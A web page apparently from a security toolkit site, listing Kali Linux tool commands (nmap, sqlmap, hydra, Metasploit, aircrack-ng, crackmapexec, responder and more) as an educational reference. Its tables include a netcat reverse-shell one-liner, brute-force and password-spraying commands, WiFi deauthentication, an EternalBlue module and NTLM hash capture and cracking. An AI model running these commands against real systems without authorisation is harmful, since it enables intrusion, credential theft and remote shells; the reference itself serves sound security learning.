// BASE64_ENCODER_DECODER
// BASE32_ENCODER_DECODER
// MD5_HASHER
// SHA1_HASHER
// SHA256_HASHER
// SHA512_HASHER
// URL_ENCODER_DECODER
// HEX_CONVERTER
// VIRUSTOTAL_FILE_SCANNER
// VIRUSTOTAL_URL_SCANNER
// VIRUSTOTAL_HASH_LOOKUP
// VIRUSTOTAL_IP/DOMAIN_LOOKUP
// PACKET_ANALYZER
LIVE PACKET CAPTURE
// WEB_TERMINAL
// KALI_LINUX_TOOLS_REFERENCE
Browse and learn commands for popular Kali Linux security tools. Click any tool to see its commands, then use "TRY IN TERMINAL" to test them.
Network Analysis
Web Application Testing
Directory/DNS Enumeration
Password Attacks
Wireless Attacks
SMB/Active Directory
Exploitation
// NMAP
Network Mapper
Nmap is a free and open-source network scanner used to discover hosts and services on a computer network.
apt install nmap
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
nmap <target> | Basic scan - discovers open ports | nmap 192.168.1.1 | |
nmap -sS <target> | TCP SYN scan (stealth) | nmap -sS 192.168.1.1 | |
nmap -sV <target> | Service version detection | nmap -sV 192.168.1.1 | |
nmap -O <target> | OS detection | nmap -O 192.168.1.1 | |
nmap -A <target> | Aggressive scan (OS, version, scripts) | nmap -A 192.168.1.1 | |
nmap -p <ports> <target> | Scan specific ports | nmap -p 22,80,443 192.168.1.1 | |
nmap -p- <target> | Scan all 65535 ports | nmap -p- 192.168.1.1 | |
nmap -sU <target> | UDP scan | nmap -sU 192.168.1.1 | |
nmap -sn <network> | Ping sweep (host discovery) | nmap -sn 192.168.1.0/24 | |
nmap --script <script> <target> | Run NSE scripts | nmap --script vuln 192.168.1.1 |
// WIRESHARK
Network Protocol Analyzer
Wireshark captures and analyzes network traffic. tshark is its command-line equivalent.
apt install wireshark tshark
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
tshark -i <interface> | Capture on interface | tshark -i eth0 | |
tshark -i <interface> -w <file> | Capture and save to file | tshark -i eth0 -w capture.pcap | |
tshark -r <file> | Read from pcap file | tshark -r capture.pcap | |
tshark -D | List available interfaces | tshark -D | |
tshark -i <interface> -c <count> | Capture specific number of packets | tshark -i eth0 -c 100 |
// NETCAT
TCP/UDP Swiss Army Knife
Netcat (nc) is a versatile networking utility for reading/writing data across network connections.
apt install netcat-openbsd
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
nc <host> <port> | Connect to a host and port | nc 192.168.1.1 80 | |
nc -l -p <port> | Listen on a port | nc -l -p 4444 | |
nc -lvp <port> | Listen verbosely | nc -lvp 4444 | |
nc -z <host> <port-range> | Port scanning | nc -z 192.168.1.1 20-100 | |
nc -e /bin/bash <host> <port> | Reverse shell | nc -e /bin/bash 10.0.0.1 4444 |
// NIKTO
Web Server Scanner
Nikto is an open-source web server scanner that tests for dangerous files and security issues.
apt install nikto
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
nikto -h <host> | Basic scan | nikto -h http://192.168.1.1 | |
nikto -h <host> -p <port> | Scan specific port | nikto -h 192.168.1.1 -p 8080 | |
nikto -h <host> -ssl | Force SSL mode | nikto -h 192.168.1.1 -ssl | |
nikto -h <host> -o <file> | Output to file | nikto -h 192.168.1.1 -o report.txt | |
nikto -update | Update plugins | nikto -update |
// SQLMAP
SQL Injection Tool
SQLMap automates the detection and exploitation of SQL injection flaws.
apt install sqlmap
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
sqlmap -u URL | Test URL for SQL injection | sqlmap -u "http://site.com/page?id=1" | |
sqlmap -u URL --dbs | Enumerate databases | sqlmap -u URL --dbs | |
sqlmap -u URL -D db --tables | Enumerate tables | sqlmap -u URL -D testdb --tables | |
sqlmap -u URL --batch | Non-interactive mode | sqlmap -u URL --batch | |
sqlmap -r file | Load request from file | sqlmap -r request.txt |
// HYDRA
Login Cracker
Hydra is a fast online password cracking tool supporting numerous protocols.
apt install hydra
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
hydra -l user -P wordlist host ssh | SSH brute force | hydra -l admin -P wordlist.txt 192.168.1.1 ssh | |
hydra -L users -P wordlist host ssh | Multiple users SSH | hydra -L users.txt -P pass.txt 192.168.1.1 ssh | |
hydra -l user -P wordlist ftp://host | FTP brute force | hydra -l admin -P wordlist.txt ftp://192.168.1.1 | |
hydra -t threads ... | Set parallel tasks | hydra -t 16 -l admin -P pass.txt 192.168.1.1 ssh | |
hydra -V ... | Verbose output | hydra -V -l admin -P pass.txt 192.168.1.1 ssh |
// JOHN
Password Cracker
John the Ripper is a fast password cracker for detecting weak passwords.
apt install john
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
john hashfile | Crack password hashes | john hashes.txt | |
john --wordlist=file hashfile | Dictionary attack | john --wordlist=rockyou.txt hashes.txt | |
john --format=type hashfile | Specify hash format | john --format=raw-md5 hashes.txt | |
john --show hashfile | Show cracked passwords | john --show hashes.txt | |
john --list=formats | List supported formats | john --list=formats |
// WHOIS
Domain Information Lookup
Whois queries databases for domain and IP registration information.
apt install whois
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
whois domain | Domain lookup | whois example.com | |
whois ip | IP address lookup | whois 8.8.8.8 | |
whois domain | grep "name server" | Get name servers | whois example.com | grep "name server" |
// DIG
DNS Lookup Utility
Dig is a flexible tool for interrogating DNS name servers.
apt install dnsutils
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
dig domain | Basic DNS lookup | dig example.com | |
dig domain ANY | Query all record types | dig example.com ANY | |
dig domain MX | Query MX records | dig example.com MX | |
dig @server domain | Query specific DNS server | dig @8.8.8.8 example.com | |
dig +short domain | Short output (IP only) | dig +short example.com | |
dig -x ip | Reverse DNS lookup | dig -x 8.8.8.8 |
// METASPLOIT
Penetration Testing Framework
Metasploit Framework is a powerful penetration testing platform.
apt install metasploit-framework
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
msfconsole | Start Metasploit console | msfconsole | |
search keyword | Search for exploits | search type:exploit smb | |
use module | Select a module | use exploit/windows/smb/ms17_010_eternalblue | |
show options | Display module options | show options | |
set option value | Set module option | set RHOSTS 192.168.1.1 | |
exploit | Execute the module | exploit |
// BURP_SUITE
Web Security Testing Platform
Burp Suite is the leading toolkit for web application security testing. It includes an intercepting proxy, web spider, scanner, intruder, repeater, and more. Essential for testing web apps for vulnerabilities like SQL injection, XSS, CSRF, and authentication flaws. The proxy intercepts all HTTP/HTTPS traffic between your browser and target applications.
apt install burpsuite
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
burpsuite | Launch Burp Suite GUI | burpsuite | |
java -jar burpsuite.jar | Run from JAR file | java -jar burpsuite_community.jar | |
Configure proxy: 127.0.0.1:8080 | Set browser proxy to Burp | export http_proxy=127.0.0.1:8080 |
// AIRCRACK-NG
WiFi Security Auditing Suite
Aircrack-ng is a complete suite for assessing WiFi network security. It focuses on monitoring (packet capture), attacking (replay attacks, deauthentication), testing (checking WiFi cards and driver capabilities), and cracking (WEP and WPA/WPA2-PSK). It works with any WiFi card that supports raw monitoring mode.
apt install aircrack-ng
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
airmon-ng start <interface> | Enable monitor mode on wireless interface | airmon-ng start wlan0 | |
airodump-ng <interface> | Capture packets and list nearby networks | airodump-ng wlan0mon | |
airodump-ng -c <ch> --bssid <mac> -w <file> <iface> | Target specific network and save capture | airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon | |
aireplay-ng -0 <count> -a <bssid> <iface> | Deauthentication attack to capture handshake | aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon | |
aircrack-ng -w <wordlist> <capture> | Crack WPA/WPA2 with wordlist | aircrack-ng -w rockyou.txt capture-01.cap | |
airmon-ng stop <interface> | Disable monitor mode | airmon-ng stop wlan0mon |
// HASHCAT
Advanced GPU Password Recovery
Hashcat is the world's fastest and most advanced password recovery utility, supporting 300+ hash types including MD5, SHA1, SHA256, bcrypt, NTLM, and more. It leverages GPU acceleration to crack passwords at incredible speeds. Supports multiple attack modes: dictionary, brute-force, combinator, rule-based, and mask attacks.
apt install hashcat
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
hashcat -m <type> <hash> <wordlist> | Dictionary attack with hash type | hashcat -m 0 hash.txt rockyou.txt | |
hashcat -m 0 | MD5 hash type | hashcat -m 0 hash.txt wordlist.txt | |
hashcat -m 1000 | NTLM hash type (Windows) | hashcat -m 1000 ntlm.txt rockyou.txt | |
hashcat -a 3 -m <type> <hash> ?a?a?a?a | Brute-force with mask (4 chars) | hashcat -a 3 -m 0 hash.txt ?a?a?a?a?a?a | |
hashcat --show <hash> | Show cracked passwords | hashcat --show hash.txt | |
hashcat -I | Show available devices (GPUs) | hashcat -I |
// GOBUSTER
Directory/DNS/VHost Brute-Forcer
Gobuster is a fast directory/file, DNS subdomain, and virtual host brute-forcing tool written in Go. It's commonly used to discover hidden directories, files, and subdomains on web servers. Much faster than similar tools due to Go's concurrency. Supports multiple modes: dir (directories), dns (subdomains), vhost (virtual hosts), and s3 (AWS buckets).
apt install gobuster
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
gobuster dir -u <url> -w <wordlist> | Directory brute-force | gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt | |
gobuster dir -u <url> -w <wl> -x php,html | Search for specific extensions | gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt | |
gobuster dns -d <domain> -w <wordlist> | DNS subdomain enumeration | gobuster dns -d target.com -w subdomains.txt | |
gobuster vhost -u <url> -w <wordlist> | Virtual host enumeration | gobuster vhost -u http://target.com -w vhosts.txt | |
gobuster dir -u <url> -w <wl> -t 50 | Use 50 threads for faster scan | gobuster dir -u http://target.com -w wordlist.txt -t 50 |
// DIRB
Web Content Scanner
DIRB is a web content scanner that looks for existing (and hidden) web objects by launching a dictionary-based attack against a web server. It finds directories and files that may not be linked from the main website. Useful for finding admin panels, backup files, configuration files, and other sensitive content that developers may have left accessible.
apt install dirb
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
dirb <url> | Basic scan with default wordlist | dirb http://target.com | |
dirb <url> <wordlist> | Scan with custom wordlist | dirb http://target.com /usr/share/wordlists/dirb/big.txt | |
dirb <url> -X <extensions> | Search for specific extensions | dirb http://target.com -X .php,.bak,.old | |
dirb <url> -o <output> | Save results to file | dirb http://target.com -o results.txt | |
dirb <url> -a <user-agent> | Use custom User-Agent | dirb http://target.com -a "Mozilla/5.0" |
// WFUZZ
Web Application Fuzzer
Wfuzz is a tool designed for brute-forcing web applications. It can be used to find resources not linked (directories, servlets, scripts), brute-force GET/POST parameters, brute-force forms (user/password), fuzz headers, and discover injection points. The FUZZ keyword is replaced with values from a wordlist.
apt install wfuzz
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
wfuzz -c -w <wl> <url>/FUZZ | Directory fuzzing with color | wfuzz -c -w wordlist.txt http://target.com/FUZZ | |
wfuzz -c -w <wl> --hc 404 <url>/FUZZ | Hide 404 responses | wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ | |
wfuzz -c -w <wl> -d "user=FUZZ" <url> | POST parameter fuzzing | wfuzz -c -w users.txt -d "username=FUZZ&password=admin" http://target.com/login | |
wfuzz -c -w <wl> -H "Host: FUZZ.target.com" <url> | Virtual host fuzzing | wfuzz -c -w subdomains.txt -H "Host: FUZZ.target.com" http://target.com | |
wfuzz -c -z range,1-100 <url>?id=FUZZ | Fuzz with number range | wfuzz -c -z range,1-100 http://target.com/page?id=FUZZ |
// ENUM4LINUX
Windows/Samba Enumeration Tool
Enum4linux is a tool for enumerating information from Windows and Samba systems. It can gather usernames, group membership, shares, password policies, and OS information. Essential for Active Directory and Windows network penetration testing. Wraps commands from smbclient, rpcclient, net, and nmblookup.
apt install enum4linux
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
enum4linux -a <ip> | Full enumeration (all options) | enum4linux -a 192.168.1.100 | |
enum4linux -U <ip> | Enumerate users | enum4linux -U 192.168.1.100 | |
enum4linux -S <ip> | Enumerate shares | enum4linux -S 192.168.1.100 | |
enum4linux -G <ip> | Enumerate groups | enum4linux -G 192.168.1.100 | |
enum4linux -P <ip> | Enumerate password policy | enum4linux -P 192.168.1.100 |
// SMBCLIENT
SMB/CIFS Client
SMBclient is a command-line tool for accessing SMB/CIFS resources on servers. Similar to an FTP client, it allows you to list shares, download/upload files, and interact with Windows file shares. Essential for testing Windows networks and accessing shared folders during penetration tests.
apt install smbclient
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
smbclient -L <ip> | List available shares | smbclient -L 192.168.1.100 | |
smbclient -L <ip> -N | List shares with null session | smbclient -L 192.168.1.100 -N | |
smbclient //<ip>/<share> | Connect to a share | smbclient //192.168.1.100/shared | |
smbclient //<ip>/<share> -U <user> | Connect with username | smbclient //192.168.1.100/shared -U admin | |
get <file> | Download file (inside smbclient) | get secret.txt |
// CRACKMAPEXEC
Post-Exploitation & AD Tool
CrackMapExec (CME) is a swiss army knife for pentesting networks. It automates assessing the security of large Active Directory networks. Supports SMB, LDAP, MSSQL, SSH, and WinRM protocols. Can perform password spraying, command execution, credential dumping, and lateral movement. Essential for AD penetration testing.
apt install crackmapexec
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
crackmapexec smb <ip> | SMB enumeration | crackmapexec smb 192.168.1.0/24 | |
crackmapexec smb <ip> -u <user> -p <pass> | Test credentials | crackmapexec smb 192.168.1.100 -u admin -p password123 | |
crackmapexec smb <ip> -u <user> -p <pass> --shares | List shares with creds | crackmapexec smb 192.168.1.100 -u admin -p pass --shares | |
crackmapexec smb <ip> -u users.txt -p pass.txt | Password spraying | crackmapexec smb 192.168.1.100 -u users.txt -p passwords.txt | |
crackmapexec smb <ip> -u <u> -p <p> -x <cmd> | Execute command | crackmapexec smb 192.168.1.100 -u admin -p pass -x "whoami" |
// RESPONDER
Network Protocol Poisoner
Responder is a LLMNR, NBT-NS, and MDNS poisoner. When Windows machines fail to resolve hostnames via DNS, they fall back to LLMNR and NBT-NS. Responder responds to these queries, tricking machines into sending authentication hashes. These NTLMv2 hashes can then be cracked offline or relayed for access.
apt install responder
COMMANDS REFERENCE
| COMMAND | DESCRIPTION | EXAMPLE | ACTIONS |
|---|---|---|---|
responder -I <interface> | Start Responder on interface | responder -I eth0 | |
responder -I <iface> -wrf | Enable WPAD, fingerprinting | responder -I eth0 -wrf | |
responder -I <iface> -A | Analyze mode (no poisoning) | responder -I eth0 -A | |
cat /usr/share/responder/logs/*.txt | View captured hashes | cat /usr/share/responder/logs/Responder-Session.log | |
hashcat -m 5600 hash.txt wordlist.txt | Crack NTLMv2 hash | hashcat -m 5600 ntlmv2.txt rockyou.txt |